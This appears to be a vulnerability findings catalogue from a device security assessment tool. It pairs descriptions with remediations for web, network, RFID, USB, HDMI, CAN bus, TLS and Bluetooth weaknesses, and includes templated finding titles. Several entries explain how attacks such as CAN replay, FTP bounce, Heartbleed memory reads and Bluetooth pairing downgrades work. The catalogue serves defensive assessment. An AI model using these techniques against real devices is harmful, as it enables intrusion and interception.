Description: The web management interface accepted default manufacturer credentials. An attacker can gain full administrative access without any reconnaissance.
Remediation: Enforce mandatory credential change on first boot or provisioning. Implement account lockout after failed attempts.
MEDIUM GB-WEB-002 — Directory Listing Enabled
Description: The web server is configured to display a browsable directory index, exposing file structure and potentially sensitive files to unauthenticated users.
Remediation: Disable directory indexing (e.g., Options -Indexes in Apache; autoindex off in nginx) and ensure every directory contains an explicit index document.
LOW GB-WEB-003 — Web — Missing Security Headers
Description: One or more recommended HTTP security headers are absent: Content-Security-Policy, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy.
Remediation: Add all recommended security headers to HTTP responses. Review shcheck output for the specific missing headers.
LOW GB-WEB-004 — Information Disclosure: Server Header
Description: The HTTP Server response header reveals the web server software name and version, reducing the attacker's reconnaissance effort needed to identify version-specific vulnerabilities.
Remediation: Remove or genericise the Server response header in the web server configuration (e.g., ServerTokens Prod in Apache; server_tokens off in nginx).
MEDIUM GB-WEB-005 — Web — HTTP Exposed (No HTTPS Redirect)
Description: The web application is accessible over plaintext HTTP and does not redirect to HTTPS. Credentials and session tokens transmitted over HTTP are observable to network attackers.
Remediation: Redirect all HTTP traffic to HTTPS. Enable HSTS to prevent downgrade attacks.
MEDIUM GB-WEB-006 — Web — Insecure Cookie Attributes
Description: Session or authentication cookies are missing the Secure, HttpOnly, or SameSite attributes. This exposes them to theft via JavaScript, plaintext transmission, or CSRF.
Remediation: Set Secure, HttpOnly, and SameSite=Strict (or Lax) attributes on all authentication and session cookies.
HIGH GB-NET-001 — Unencrypted Service: Telnet
Description: A Telnet service is accessible on the network, transmitting all data including authentication credentials in cleartext, enabling passive interception or active MITM attacks.
Remediation: Disable the Telnet daemon and replace it with SSH for all remote administration; block port 23 at the network perimeter.
HIGH GB-NET-002 — SNMP Default Community String Accepted
Description: The SNMP service accepts a well-known default community string (e.g., public/private), allowing unauthenticated read (and potentially write) access to device configuration data.
Remediation: Change all SNMP community strings to random high-entropy values, restrict SNMP access by source IP, and migrate to SNMPv3 with authentication and encryption.
HIGH GB-NET-003 — FTP Anonymous Login Permitted
Description: The FTP service accepts the anonymous username without credentials, potentially exposing hosted files or allowing unauthenticated file upload.
Remediation: Disable anonymous FTP in the server configuration; migrate file transfer to SFTP/FTPS and enforce authentication for all access.
HIGH GB-NET-004 — NFS World-Readable Export
Description: An NFS export is accessible to all hosts (wildcard * or 0.0.0.0/0 in /etc/exports). Any host on the network can mount and read the exported filesystem.
Remediation: Restrict NFS exports by client IP. Use root_squash and nosuid mount options. Disable NFS if not required.
MEDIUM GB-NET-005 — Deprecated or Weak Protocol in Use
Description: A deprecated or inherently weak network protocol was identified (e.g., RPC portmapper, rsh, rlogin, finger, X11 without auth, TFTP). These protocols provide no confidentiality or authentication.
Remediation: Disable deprecated protocol services. Replace with modern, authenticated, encrypted equivalents.
LOW GB-NET-006 — mDNS / Bonjour Service Announcement
Description: The device is broadcasting mDNS (Multicast DNS / Bonjour / Avahi) service announcements. These expose device capabilities, hostname, model information, and available services to all hosts on the local segment.
Remediation: Disable mDNS service announcement on production devices if not required for operation. Apply network segmentation to prevent mDNS traffic crossing boundaries.
HIGH GB-RFID-001 — RFID Card UID Captured
Description: Proxmark3 successfully read the UID of an RFID credential within range of the device reader. Systems relying solely on UID for access control are vulnerable to cloning attacks.
Remediation: Implement mutual authentication (MIFARE DESFire EV2/EV3 with AES). Do not rely on UID alone.
HIGH GB-RFID-002 — RFID Card Data Payload Read
Description: The RFID card data blocks were successfully read without authentication. Sensitive data stored in card memory (employee ID, access level, personal data) may be exposed.
Remediation: Enable sector access conditions on MIFARE Classic cards. Migrate to DESFire with application-level encryption.
CRITICAL GB-RFID-003 — RFID Replay Attack Successful
Description: A captured RFID credential was successfully replayed to the reader and accepted. No anti-replay protection is in place.
Remediation: Replace credential infrastructure with challenge-response or rolling code systems. Audit physical access logs for anomalous events.
HIGH GB-USB-001 — USB HID Keyboard Injection Accepted
Description: The device accepted keystroke injection from an emulated HID keyboard without any restriction or rate-limiting. A pre-programmed HID device can execute OS-level commands on device insertion.
Remediation: Implement USB HID device allowlisting. Disable USB HID enumeration on production devices where not required.
HIGH GB-USB-002 — USB Bash Bunny Payload Executed
Description: A Bash Bunny HID payload was executed by the device. The injected keystrokes were processed without restriction.
Remediation: Apply USB device policy and application whitelisting. Review autorun and HID handling in the OS.
MEDIUM GB-USB-003 — USB Abnormal Power Draw
Description: Abnormal USB power characteristics were detected, potentially indicating a rogue charging cable or peripheral with embedded circuitry.
Remediation: Deploy USB power-only data-blockers on charging ports. Restrict USB host mode to known-good peripherals.
MEDIUM GB-HW-001 — HDMI CEC Command Injection Accepted
Description: Injected HDMI CEC commands were accepted and processed. An attacker with HDMI port access can issue remote control commands or exploit CEC stack vulnerabilities.
Remediation: Disable CEC in firmware if not required. Apply command filtering to reject unauthorised CEC commands.
MEDIUM GB-HW-002 — HDMI HDCP Not Enforced
Description: HDCP content protection is not enforced on the HDMI interface. Video/audio streams can be captured in cleartext.
Remediation: Enable HDCP enforcement in device firmware.
MEDIUM GB-HW-003 — HDMI DDC-CI Unauthorised Control
Description: DDC-CI commands accepted over HDMI allow monitor control (brightness, OSD) without physical interaction with the display.
Remediation: Disable DDC-CI in display firmware if remote monitor control is not required.
INFO GB-HW-004 — EDID Information Disclosure
Description: EDID data was successfully read, disclosing monitor model, serial number, manufacturer, and capabilities.
Remediation: No action required if EDID is functioning normally. Consider custom EDID for high-security deployments.
HIGH GB-SERIAL-001 — Unauthenticated Serial Console
Description: A serial console (UART, RS-232) provided an interactive unauthenticated shell or bootloader prompt on connection.
Remediation: Password-protect the serial console in firmware. Disable UART console in production builds.
INFO GB-SERIAL-002 — Serial Console Baud Rate Identified
Description: The serial port baud rate was auto-detected. The presence and configuration of a serial console is documented.
Remediation: Review whether the console is accessible in production and restrict access if appropriate.
INFO GB-CAN-001 — CAN Bus Frame Captured
Description: CAN bus frames were captured from the device. Frame IDs and data payloads are documented for replay and fuzzing analysis.
Remediation: Ensure CAN bus access is physically restricted. Document observed frame IDs against expected device behaviour.
HIGH GB-CAN-002 — CAN Bus Injected Frame Accepted
Description: An injected CAN frame was accepted and processed by the device. CAN has no built-in authentication; any node on the bus can transmit arbitrary messages.
Remediation: Implement a CAN firewall or gateway. Consider SecOC (ISO 21434) for safety-critical systems. Apply physical access controls to CAN connectors.
HIGH GB-ZIGBEE-001 — Zigbee Traffic Captured
Description: Zigbee frames were captured from the device. Depending on the security profile, payloads may disclose network keys, sensor data, or command traffic.
Remediation: Enable Zigbee AES-128 network and link layer encryption (Zigbee 3.0). Rotate network keys periodically.
MEDIUM GB-ZIGBEE-002 — Zigbee Flooding / Denial of Service
Description: The Zigbee network showed signs of packet flooding tolerance (or lack thereof). Injection of excessive frames caused degraded responsiveness.
Remediation: Implement rate-limiting on Zigbee join and message handling. Apply Zigbee channel scanning and jamming detection.
INFO GB-CONF-001 — ARP / DHCP Traffic Reveals Network Configuration
Description: Passive ARP or DHCP traffic captured during the ConfigDiscovery phase revealed network configuration details: default gateway, DNS servers, existing DHCP leases, and VLAN membership.
Remediation: Informational — expected behaviour. Review whether observed network configuration aligns with intended design.
MEDIUM GB-CONF-002 — Plaintext Protocol in Boot Traffic
Description: Traffic captured during device boot revealed cleartext protocols (Telnet, HTTP, FTP, TFTP) carrying potentially sensitive data including configuration pulls or update checks.
Remediation: Replace plaintext boot-time protocols with TLS-protected equivalents. Use HTTPS for firmware update checks, SFTP for configuration retrieval.
MEDIUM GB-CONF-003 — Plaintext Protocol in Shutdown Traffic
Description: Traffic captured during device shutdown contained plaintext protocol traffic, potentially including final state synchronisation or credential exchange.
Remediation: Review and encrypt all shutdown-phase network communication.
CRITICAL GB-CAN-003 — CAN Replay Attack
Description: A previously captured CAN frame was successfully replayed and accepted as a legitimate message by one or more nodes on the bus. CAN provides no built-in authentication or sequence numbering, meaning any captured frame can be retransmitted at will to reproduce an action — such as unlocking a door, disabling a safety system, or triggering an actuator — without knowledge of the originating system. This class of attack is particularly dangerous in automotive and industrial control environments where CAN commands directly affect physical state.
Remediation: Implement SecOC (Secure Onboard Communication, ISO 21434 / AUTOSAR) for safety-critical CAN signals to add freshness counters and message authentication codes. Apply a CAN firewall or gateway to rate-limit and filter frames by ID and frequency. Physically restrict access to OBD-II ports and CAN bus connectors. Log and alert on unexpected frame repetition patterns.
MEDIUM GB-TLS-009 — SSL/TLS Vulnerability: BEAST
Description: The TLS server accepts TLS 1.0 connections using CBC (Cipher Block Chaining) cipher suites, making it susceptible to the BEAST (Browser Exploit Against SSL/TLS) attack. BEAST exploits a chosen-plaintext vulnerability in the way TLS 1.0 initialises IV values for CBC, allowing an attacker with MITM position and the ability to inject chosen plaintext to perform a blockwise chosen-boundary attack and recover session cookies or other short secrets. While practical exploitation requires both network position and JavaScript injection into the victim's browser, the condition is easily avoided by disabling TLS 1.0.
Remediation: Disable TLS 1.0 and TLS 1.1 on the server; accept only TLS 1.2 and TLS 1.3. Prefer AEAD cipher suites (AES-GCM, ChaCha20-Poly1305) over CBC modes. If TLS 1.0 must remain enabled for legacy clients, configure server-side mitigation by preferring RC4 (deprecated) or — better — use TLS_FALLBACK_SCSV and enforce cipher order.
MEDIUM GB-TLS-010 — SSL/TLS Vulnerability: LUCKY13
Description: The TLS configuration accepts CBC cipher suites that are vulnerable to the LUCKY13 timing side-channel attack. LUCKY13 exploits a timing discrepancy in the MAC verification step of MAC-then-encrypt CBC cipher suites: the number of compression function calls differs based on where padding ends, allowing a statistical timing oracle to decrypt TLS records byte by byte. The attack requires many connections and precise timing measurements but has been demonstrated against real-world TLS stacks including OpenSSL.
Remediation: Migrate to TLS 1.3 or configure TLS 1.2 to use only AEAD cipher suites (AES-128-GCM, AES-256-GCM, CHACHA20-POLY1305), which do not use MAC-then-encrypt and are inherently immune to LUCKY13. Remove all CBC cipher suites from the server's cipher preference list.
MEDIUM GB-TLS-011 — SSL/TLS Vulnerability: SWEET32
Description: The TLS server negotiates cipher suites using 64-bit block ciphers such as 3DES (Triple-DES) or Blowfish, making it vulnerable to the SWEET32 birthday attack. After approximately 2^32 blocks (~32 GB of data over a single TLS session), the birthday bound is reached and an attacker can exploit block collisions in CBC mode to recover plaintext. While 32 GB may seem large, long-lived TLS sessions — such as those in web applications with keep-alive or WebSocket connections — can reach this volume in hours.
Remediation: Disable all 3DES and Blowfish cipher suites from the server configuration. Ensure no cipher suite using DES, 3DES, IDEA, or Blowfish appears in the negotiated cipher list. Prefer 128-bit or 256-bit block ciphers (AES-GCM). Upgrade to TLS 1.3 where possible to eliminate legacy cipher negotiation entirely.
LOW GB-TLS-012 — SSL/TLS Certificate: Expiring Soon
Description: The server's TLS certificate has a remaining validity of fewer than 30 days, placing it at imminent risk of expiry. Upon expiry, browser and client connections will be rejected with a certificate trust error, causing a service outage that appears indistinguishable from a site being down. In environments without automated certificate renewal, short expiry windows frequently result in user-facing downtime and may indicate a weak certificate lifecycle management process.
Remediation: Renew the certificate immediately to restore a full validity window. Implement automated certificate renewal using the ACME protocol (Let's Encrypt with certbot, acme.sh, or Caddy) to eliminate manual renewal dependency. Configure monitoring alerts when certificate expiry is within 30 and 14 days.
LOW GB-TLS-013 — SSL/TLS - Overly Long Certificate Expiry
Description: The TLS certificate has a validity period exceeding 398 days, in violation of the CA/Browser Forum baseline requirements adopted by all major browsers since September 2020. Certificates with excessively long lifetimes present elevated risk: compromised private keys or mis-issuance cannot be remediated without active revocation (which is poorly enforced by clients), and the certificate may outlive the cryptographic assumptions under which it was issued. Major browsers now hard-fail on certificates exceeding 398 days issued after the policy effective date.
Remediation: Reissue the certificate with a validity period of 398 days or fewer. Transition to automated ACME-based 90-day renewal (Let's Encrypt) to align with current CA/B Forum best practices and reduce reliance on long-lived credentials.
HIGH GB-NET-007 — FTP Bounce Attack Possible
Description: The FTP server accepts the PORT command with arbitrary destination IP addresses, enabling FTP bounce attacks. In a bounce attack, an attacker directs the FTP server to open a data connection to a third-party host on any specified port, effectively using the FTP server as a TCP proxy to port-scan internal hosts, bypass egress filtering, or connect to services that would otherwise reject connections from the attacker's source address. This technique can also be used to transfer files to or from third-party machines without direct connectivity.
Remediation: Configure the FTP server to reject PORT commands where the specified IP address does not match the client's source address (disable FTP bounce in daemon configuration). Consider migrating from FTP to SFTP or FTPS. Apply firewall rules to restrict outbound connections from the FTP server to known-good destination addresses.
HIGH GB-NET-008 — NFS Export Points Enumerated — Potentially Unauthenticated Access
Description: The NFS server responded to showmount queries, exposing a list of exported filesystem paths and their allowed client specifications. Depending on export configuration, an unauthenticated or low-privilege host on the network may be able to mount one or more of these exports and read or write files directly. Even read-only access to NFS exports can expose sensitive configuration files, SSH keys, or application data that facilitates further compromise.
Remediation: Restrict NFS exports to specific, authorised client IP addresses or subnets in /etc/exports; remove wildcard (*) or overly broad CIDR grants. Require Kerberos authentication (sec=krb5p) for sensitive exports. Disable the rpcbind/mountd showmount response if export enumeration by arbitrary clients is not required. Apply host-based and network firewall rules to limit NFS port access to authorised clients only.
HIGH GB-NET-009 — NFS Insecure Export Options
Description: One or more NFS exports are configured with insecure options that increase the risk of unauthorised access or privilege escalation. Common insecure settings include no_root_squash (which allows root on the client to act as root on the server), rw on broad CIDR ranges, no_all_squash, or insecure (allowing connections from non-privileged ports). A client with rw and no_root_squash access can write arbitrary files — including SUID binaries or SSH authorised_keys entries — that enable full host compromise.
Remediation: Audit /etc/exports and apply root_squash, all_squash, and nosuid to all exports. Remove no_root_squash unless there is a documented and approved use case. Prefer ro (read-only) where write access is not operationally required. Apply the most restrictive client specifier possible (explicit host or /32 CIDR).
HIGH GB-NET-010 — Industrial/OT Protocol Exposure
Description: An industrial or operational technology (OT) protocol was detected on the network, including but not limited to Modbus/TCP (502), BACnet/IP (47808), EtherNet/IP (44818), DNP3, or IEC 60870-5-104. These protocols were designed for deterministic, low-latency communication in isolated control environments and provide no authentication, integrity protection, or confidentiality. Exposure of these services to untrusted network segments allows an attacker to read sensor data, issue arbitrary control commands, or disrupt physical processes.
Remediation: Segment OT/ICS networks from corporate IT networks using firewalls or unidirectional security gateways (data diodes). Apply application-layer firewalls that understand industrial protocol specifics to whitelist expected command sets and source addresses. Disable unused protocol services on PLCs, RTUs, and HMIs. Monitor for anomalous command patterns.
MEDIUM GB-NET-011 — Unencrypted Protocol Detected
Description: A network service communicating over a cleartext protocol was identified, including one or more of: FTP (21), Telnet (23), HTTP (80), TFTP (69), rsh (514), rlogin (513), rexec (512), or finger (79). Cleartext protocols transmit all data — including authentication credentials, session tokens, and sensitive application data — in a form readable by any attacker with network access, whether via passive interception on a shared segment or an active man-in-the-middle position.
Remediation: Replace cleartext protocols with encrypted equivalents: SSH for remote administration, SFTP/FTPS for file transfer, HTTPS for web services, SNMPv3 for network management. If cleartext protocols cannot be immediately replaced, apply network segmentation and access control to limit exposure, and implement monitoring for credential interception.
LOW GB-WEB-007 — Missing Secure Cookie Attribute: HttpOnly
Description: A session or sensitive cookie was identified without the HttpOnly attribute. Without this flag, the cookie value is accessible to JavaScript running in the page context, making it directly extractable by any cross-site scripting (XSS) vulnerability on the same domain. An attacker who finds a reflected or stored XSS flaw can trivially read the session cookie via document.cookie and hijack the authenticated session without needing to exploit the TLS layer.
Remediation: Set the HttpOnly flag on all session, authentication, and sensitive cookies in the application or web server configuration. This flag prevents client-side scripts from accessing the cookie value while still allowing the browser to include it in HTTP requests.
LOW GB-WEB-008 — Missing Secure Cookie Attribute: Secure
Description: A session or sensitive cookie was identified without the Secure attribute. Without this flag, the browser will transmit the cookie over both HTTPS and plaintext HTTP connections. If the application supports or redirects through any HTTP endpoint — even briefly — the session cookie will be included in the cleartext request and is visible to network attackers. This condition is commonly exploited via SSL stripping attacks that downgrade HTTPS to HTTP before the Secure cookie check takes effect.
Remediation: Set the Secure flag on all session, authentication, and sensitive cookies. Combined with a site-wide HTTPS redirect and HSTS, this ensures cookies are never transmitted over unencrypted channels.
LOW GB-WEB-009 — Missing Secure Cookie Attribute: SameSite
Description: A session or sensitive cookie was identified without a SameSite attribute. Cookies without SameSite are sent by the browser in all cross-site requests, including those initiated by third-party web pages. This exposes the application to cross-site request forgery (CSRF) attacks, where an attacker's page silently makes authenticated requests to the target application using the victim's browser-stored session cookie, potentially triggering state-changing actions without user consent.
Remediation: Set SameSite=Strict for cookies used in purely same-origin contexts, or SameSite=Lax as a minimum to prevent cookie transmission in cross-origin subresource requests while allowing top-level navigations. Avoid SameSite=None unless the cookie must be shared in cross-site embedded contexts, in which case the Secure attribute is also mandatory.
LOW GB-WEB-010 — Misconfigured Secure Cookie Attribute: SameSite
Description: A session or sensitive cookie was identified with the SameSite attribute set to an insecure value. Setting SameSite=None without also setting the Secure attribute causes the cookie to be rejected by modern browsers or sent over HTTP, while SameSite=Lax may be insufficient for applications requiring CSRF protection on all state-changing requests that can be triggered via cross-origin navigations. Misconfigured SameSite values indicate an incomplete implementation of the cookie security policy.
Remediation: If SameSite=None is required for cross-site embedding, the Secure attribute must also be present. Evaluate whether SameSite=Strict is appropriate; if so, upgrade from Lax to Strict. Review all state-changing endpoints to confirm they are protected by either SameSite=Strict or an additional CSRF token mechanism.
CRITICAL GB-SERIAL-003 — Serial Port Allows Remote Access
Description: A serial console interface is accessible to an unauthenticated party via an exposed physical connector, a network-bridged serial server, or a serial-over-LAN (SOL) interface that is reachable from the assessment network. Remote serial access without authentication provides a root-level interactive session or bootloader prompt equivalent to physical presence at the device, bypassing all operating system access controls, disk encryption unlock prompts, and network-layer security.
Remediation: Password-protect the serial console in device firmware and configure an inactivity timeout. Disable network bridging of serial interfaces unless strictly required; if required, protect access with authenticated VPN and firewall rules. In production firmware builds, disable UART console output and bootloader access entirely or require a hardware-present jumper to unlock.
INFO GB-HW-005 — HDMI CEC Bus Device Enumeration
Description: HDMI CEC bus enumeration was performed and active devices on the CEC bus were successfully identified without any authentication requirement. Discovered information includes logical and physical addresses, device type (TV, playback device, audio system), vendor OUI, and OSD name strings. While this finding is informational, it establishes the device topology and may support more targeted CEC command injection or denial-of-service attacks.
Remediation: No immediate action required if CEC is a necessary product feature. Review whether CEC device information could aid targeted attack chains and consider disabling CEC in firmware for devices where it serves no operational purpose.
MEDIUM GB-HW-006 — DDC/CI Display Control Channel Accessible
Description: The DDC/CI (Display Data Channel Command Interface) channel over HDMI or DisplayPort is accessible and accepts control commands without authentication. An attacker with physical or software access to the video source can issue DDC/CI commands to adjust brightness, contrast, input selection, colour profiles, and power state of the connected display, or to read monitor asset information (MCCS capabilities). In environments with strict physical security requirements, uncontrolled display manipulation represents a tangible risk.
Remediation: Disable DDC/CI in display firmware or OSD settings where remote monitor control is not operationally required. Apply application-layer access controls to software DDC/CI tools (e.g., ddcutil on Linux). For high-security deployments, use video switches that do not forward DDC/CI signals.
CRITICAL GB-VULN-011 — Heartbleed (CVE-2014-0160) Vulnerability Detected
Description: The target is running a version of OpenSSL affected by CVE-2014-0160 (Heartbleed). The TLS heartbeat extension implementation in OpenSSL 1.0.1 through 1.0.1f fails to validate the length field in the heartbeat request, allowing an unauthenticated remote attacker to read up to 64 kilobytes of server memory per request without leaving a trace in standard access logs. Repeated requests allow an attacker to recover private TLS keys, session tokens, passwords, and other secrets from server memory over time.
Remediation: Upgrade OpenSSL to 1.0.1g or later (or 1.0.2 / 1.1.0+ for current branches). After patching, rotate all TLS private keys and certificates, revoke the old certificates, invalidate all active sessions, and reset any passwords that may have been in server memory during the exposure window. Verify remediation by re-running the Heartbleed check.
CRITICAL GB-CRED-004 — Cleartext Credentials Captured
Description: A username and password pair was observed in plaintext within captured network traffic. The credentials were transmitted over an unencrypted protocol such as HTTP Basic Authentication, FTP, Telnet, SMTP AUTH (without STARTTLS), or SNMP v1/v2c, and are fully recoverable without any cryptographic attack. Captured credentials may be valid for the target service, other systems on the network, VPN access, or cloud console login if the user has reused them.
Remediation: Immediately replace the protocol in use with an encrypted equivalent: HTTPS for web services, SSH for remote administration, SFTP/FTPS for file transfer, SMTPS or SMTP with enforced STARTTLS for mail. Rotate the captured credentials and investigate whether they are reused across other systems. Conduct a broader credential reuse assessment across the environment.
INFO GB-DISC-007 — Discovery: Hostname Identified
Description: A DNS hostname or NetBIOS name was resolved for a target IP address, providing a human-readable label for the host. Hostnames frequently encode information about the device's function, location, operating system, or network segment (e.g., dc01.corp.example.com, router-dmz-01, dev-sql-server). This information reduces the attacker's reconnaissance burden by allowing service correlation without port scanning and aids in target prioritisation during an assessment.
Remediation: Ensure DNS naming conventions do not disclose sensitive infrastructure details. Restrict reverse-DNS resolution (PTR records) for internal hosts from being accessible to external resolvers. Disable NetBIOS name service (NBT-NS) where not required.
INFO GB-001 — CEC Bus Devices Discoverable Without Authentication — {self.ctx.instance_key}
INFO GB-002 — CEC Devices Enumerated — {self.ctx.instance_key}
INFO GB-003 — CEC Power State Exposed — Unauthorised Control Possible — {self.ctx.instance_key}
INFO GB-004 — CEC Scan Complete — No Devices Responded — {self.ctx.instance_key}
INFO GB-005 — Cleartext Credential Captured — {user}
INFO GB-006 — Cleartext Credentials Captured — {user}
INFO GB-007 — DDC/CI Display Control Channel Accessible — {self.ctx.instance_key}
INFO GB-008 — DDC/CI Interface Accessible — {self.ctx.instance_key}
INFO GB-009 — Default Page Detected — {label} ({url})
INFO GB-010 — Default/Test Page Exposed — {label} at {url}
INFO GB-011 — Devices Discovered via DHCP — {self.ctx.instance_key}
INFO GB-012 — DHCP Leases Issued — {self.ctx.instance_key}
INFO GB-013 — Display Info Retrieved — {self.ctx.instance_key}
INFO GB-014 — EDID Data Retrieved — {self.ctx.instance_key}
INFO GB-015 — EDID Extension Blocks Present — {self.ctx.instance_key}
INFO GB-016 — Ethernet Link Detected — {self.ctx.instance_key}
INFO GB-017 — Ethernet Port Disabled — {self.ctx.instance_key}
INFO GB-018 — FTP Bounce Attack Possible — {ip}:{port}
INFO GB-019 — FTP Service Analysis — {ip}:{port}
INFO GB-020 — HDCP Negotiation Incomplete — {self.ctx.instance_key}
INFO GB-021 — HDCP Not Enforced — {self.ctx.instance_key}
INFO GB-022 — HDCP Status Not Readable — {self.ctx.instance_key}
INFO GB-023 — HDCP Status Read — {self.ctx.instance_key}
INFO GB-024 — HID Attack Device Executed Payload — {self.ctx.instance_key}
INFO GB-025 — Interesting Protocols Detected — {self.ctx.instance_key}
INFO GB-026 — Keyboard Shortcut Access — {self.ctx.instance_key}
INFO GB-027 — Local File Inclusion - {body}
INFO GB-028 — Local File Inclusion - {software}
INFO GB-029 — Missing Security Header: {_hdr}
INFO GB-030 — Missing Security Header: {header_name}
INFO GB-031 — Network Configuration Established — {self.ctx.instance_key}
INFO GB-032 — Network Configuration via DHCP — {self.ctx.instance_key}
INFO GB-033 — NFS Enumeration — {ip}
INFO GB-034 — NFS Insecure Export Options — {ip}
INFO GB-035 — NFS Share Exposed — {ip}
INFO GB-036 — Responder Capture Log — {self.ctx.instance_key}
INFO GB-037 — RFID Credential Replay Successful — {self.ctx.instance_key}
INFO GB-038 — RFID Scan Results — {self.ctx.instance_key}
INFO GB-039 — Robots.txt File Found ({fip}:{fprt})
INFO GB-040 — Screenshot Captured — {url}
INFO GB-041 — screenshot_{safe_tag}
INFO GB-042 — Security Headers Analysis — {url}
INFO GB-043 — Security Headers Check — {url}
INFO GB-044 — Service Banner — {ip}:{port} ({svc})
INFO GB-045 — SMB Service Analysis — {ip}:{port}
INFO GB-046 — SSH Audit — {ip}:{port}
INFO GB-047 — SSH Service Analysis — {ip}:{port}
INFO GB-048 — SSL Certificate Issuer — {issuer}
INFO GB-049 — SSL/TLS - {proto} Enabled
INFO GB-050 — SSL/TLS Assessment — {ip}:{port}
INFO GB-051 — TLS Certificate — {url}
INFO GB-052 — Traffic Capture — Boot Sequence ({self.ctx.instance_key})
INFO GB-053 — Traffic Capture — Running Operation ({self.ctx.instance_key})
INFO GB-054 — Traffic Capture — Shutdown Sequence ({self.ctx.instance_key})
INFO GB-055 — Unencrypted Protocol Detected: {_proto_name} — {_hip}:{_portid}
INFO GB-056 — USB HID Keyboard Accepted — {self.ctx.instance_key}
INFO GB-057 — USB Mass Storage Accepted — {self.ctx.instance_key}
INFO GB-058 — USB Mass Storage Partially Accepted — {self.ctx.instance_key}
INFO GB-059 — Web Assessment — {url}
INFO GB-060 — Web Links Extracted — {url}
INFO GB-061 — Web Spider Results — {url}
INFO GB-062 — Zigbee Device Susceptible to Flooding on {self.ctx.instance_key}
INFO GB-063 — __FP_SKIP__
INFO GB-064 — Certificate Hostname Mismatch
INFO GB-065 — Data Leakage: Serial Traffic Sniffable
INFO GB-066 — DB9 Port: No Active Protocol Detected —
INFO GB-067 — NTLMv2 Hash Captured via Responder
INFO GB-068 — Plaintext CAN Traffic Captured
INFO GB-069 — Responder Captured NTLMv1 Hashes
INFO GB-070 — screenshot
INFO GB-071 — Serial Port Responds to Commands —
INFO GB-BT-001 — Bluetooth Device Discovered
Description: A Bluetooth (BR/EDR or BLE) device was detected during zero-knowledge scanning, along with its advertising data (address, address type, RSSI, name, service UUIDs, manufacturer data).
Impact: Confirms a live wireless attack surface and provides the address and advertised metadata needed to target every subsequent enumeration, pairing, and exploitation test.
Remediation: Reconcile every discovered radio against the authorised asset inventory; disable or shield Bluetooth interfaces that are not required.
INFO GB-BT-002 — BLE GATT Service Enumerated
Description: The GATT server of a BLE device was enumerated without prior knowledge, revealing its services, characteristics, handles and properties (read/write/notify).
Impact: Discloses device function and defines the read/write/subscribe attack surface; unauthenticated enumeration is the first step toward characteristic abuse.
Remediation: Where the GATT layout itself is sensitive, require an encrypted, bonded link before service discovery is permitted.
INFO GB-BT-003 — Classic Bluetooth SDP Service Enumerated
Description: Classic Bluetooth (BR/EDR) SDP service records were enumerated (RFCOMM/L2CAP channels, profiles such as SPP/DUN/PAN).
Impact: Exposed SDP records widen the BR/EDR attack surface and can reveal legacy profiles (PAN/BNEP, DUN) with their own vulnerability history.
Remediation: Disable unused BR/EDR profiles; restrict SDP exposure and require authentication for sensitive services.
MEDIUM GB-BT-004 — Static or Public Bluetooth Address — Device Trackable
Description: The device advertises with a Public or Static-Random Bluetooth address that does not rotate, rather than a rotating Resolvable Private Address (RPA).
Impact: A stable address lets any passive listener track and correlate a body-worn or clinical device (and by extension a patient) across time and location, and leaks the OUI/vendor.
Remediation: Enable LE Privacy with frequently-rotating Resolvable Private Addresses; distribute the IRK only to bonded peers.
HIGH GB-BT-005 — Sensitive Identifier Broadcast in Advertising Data
Description: The device broadcasts a serial number, patient identifier, or other per-unit token in its advertising name or manufacturer-specific data, in the clear.
Impact: A stable unique identifier in advertising defeats address privacy (the string becomes the tracking key) and discloses asset/patient information to any passive listener in range.
Remediation: Remove serials and patient identifiers from the advertised device name and manufacturer data; expose per-unit IDs only via an authenticated, bonded GATT read; consider BT 5.4 Encrypted Advertising Data.
HIGH GB-BT-006 — Just Works Pairing — No MITM Protection
Description: The device negotiated Just Works pairing (SMP MITM-protection bit = 0, or an IO capability of NoInputNoOutput on either side), which provides no man-in-the-middle protection.
Impact: An active attacker in radio range can interpose during pairing and relay or modify the entire connection, because Just Works authenticates neither party.
Remediation: Provision real IO capability and set the MITM bit (LESC Numeric Comparison or Passkey Entry); where no IO exists, use OOB pairing or an app-layer authenticated channel.
NIST 800-53: IA-2, SC-8
HIGH GB-BT-007 — LE Legacy Pairing — Passively Decryptable
Description: The device negotiated LE Legacy pairing (SMP Secure Connections bit = 0). Legacy derives the session key from a weak Temporary Key (Just Works TK=0; Passkey Entry TK is a ~20-bit value).
Impact: A passively-sniffed pairing can be decrypted offline with crackle, recovering the Long-Term Key and all past and future bonded traffic for that pair.
Remediation: Require LE Secure Connections (ECDH P-256); reject SC=0 on any hardware that supports LESC (BLE 4.2+).
NIST 800-53: SC-8, SC-13
HIGH GB-BT-008 — Static or Reused BLE Passkey
Description: The device authenticates LE Secure Connections pairing with a static or reused 6-digit passkey — printed on the enclosure, embedded in firmware/manual, or identical across units — rather than a fresh random per-pairing value.
Impact: A hard-coded or shared passkey defeats the MITM protection of LESC Passkey Entry: anyone who can read the printed/documented value can complete an authenticated man-in-the-middle relay, reducing LESC to Just Works in practice.
Remediation: Use a fresh, random, per-pairing passkey that is never hard-coded, printed, or reused across units; prefer Numeric Comparison or OOB where the UI allows.
NIST 800-53: IA-5
HIGH GB-BT-009 — Bluetooth Pairing Method Confusion
Description: A man-in-the-middle can negotiate Numeric Comparison with one device and Passkey Entry with the other in the same ceremony; both use a 6-digit value, so the user reads the number one device shows and enters it into the other, completing a stable MITM even under LESC.
Impact: Defeats the highest LESC/MITM security level via the human factor (CERT VU#534195): the attacker holds a persistent interposed position while both devices report a successful pairing.
Remediation: Pin the negotiated association model, present an unambiguous 'enter' vs 'compare' UI, and prefer OOB pairing.
HIGH GB-BT-010 — Bluetooth Pairing Security Downgrade Accepted
Description: The device completed pairing after a forced downgrade offer (Secure Connections cleared, IO capability set to NoInputNoOutput, and/or a reduced key size), instead of aborting.
Impact: A device that silently accepts SC=0 / Just Works / a short key when it can support stronger security is exploitable via an active downgrade man-in-the-middle in range.
Remediation: Enforce a security floor (SC=1, MITM for sensitive functions, 16-byte key) and abort pairing on any weaker offer; re-verify the negotiated level before exposing sensitive GATT.
NIST 800-53: SC-8, IA-2
HIGH GB-BT-011 — Short Bluetooth Encryption Key Negotiated
Description: The device negotiated a maximum encryption key size below 16 bytes (BLE floor is 7). Short keys reduce brute-force cost and are the BLE analogue of the KNOB attack.
Impact: A negotiated key near the 7-byte floor allows an attacker to brute-force the session key and decrypt or inject traffic.
Remediation: Enforce a 16-byte encryption key floor and abort pairing/connection on any shorter negotiated size.
NIST 800-53: SC-12, SC-13
